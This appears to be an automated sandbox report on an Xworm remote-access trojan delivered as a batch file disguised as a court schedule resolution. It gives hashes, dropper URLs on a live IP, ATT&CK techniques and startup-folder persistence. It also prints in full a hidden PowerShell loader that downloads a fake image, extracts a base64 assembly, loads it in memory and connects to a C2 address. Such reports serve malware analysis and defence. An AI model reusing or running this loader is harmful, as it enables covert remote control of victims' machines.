xworm | 4fdd897c9e6c669b7eba50aadc963c7bfb3ba2e19055daebfc05e3d520ccddbf

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
16/01/2025, 09:29

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General

Target

Resolucion No. CSJSAR08765-390 Modifica Horario Juzgados.bat
Size

224KB
MD5

df1f35059b68373b63e5f3eab4338b5b
SHA1

29612120a704e71f5031ffa4a8bb139c3243fa7b
SHA256

4fdd897c9e6c669b7eba50aadc963c7bfb3ba2e19055daebfc05e3d520ccddbf
SHA512

e99f000ecc42dc95fd47abc74c34fca27cbb117660736bd9ab3e3eb89cbc31cef2003ea29beca4acd4a877625ac7afd72917379183baaab0265ed8298e193533
SSDEEP

6144:2Q12/wE6NeWgmXcydX51t9dZndh1vRJtdZxF98:M

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://94.154.35.88/DetahNote.jpg

exe.dropper

http://94.154.35.88/DetahNote.jpg

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2596-13-0x000000001CBD0000-0x000000001CF64000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2596	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2596	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nome_desejado.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nome_desejado.bat	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2596	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2596	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 2596	2016	cmd.exe	31
PID 2016 wrote to memory of 2596	2016	cmd.exe	31
PID 2016 wrote to memory of 2596	2016	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Resolucion No. CSJSAR08765-390 Modifica Horario Juzgados.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cDovLzk0LjE1NC4zNS44OC9EZXRhaE5vdGUuanBn'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('94.154.35.80', '8668');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2596-6-0x000007FEF61CE000-0x000007FEF61CF000-memory.dmp

Filesize
4KB

Download
memory/2596-8-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2596-9-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2596-10-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-7-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-11-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-12-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-13-0x000000001CBD0000-0x000000001CF64000-memory.dmp

Filesize
3.6MB

Download
memory/2596-14-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download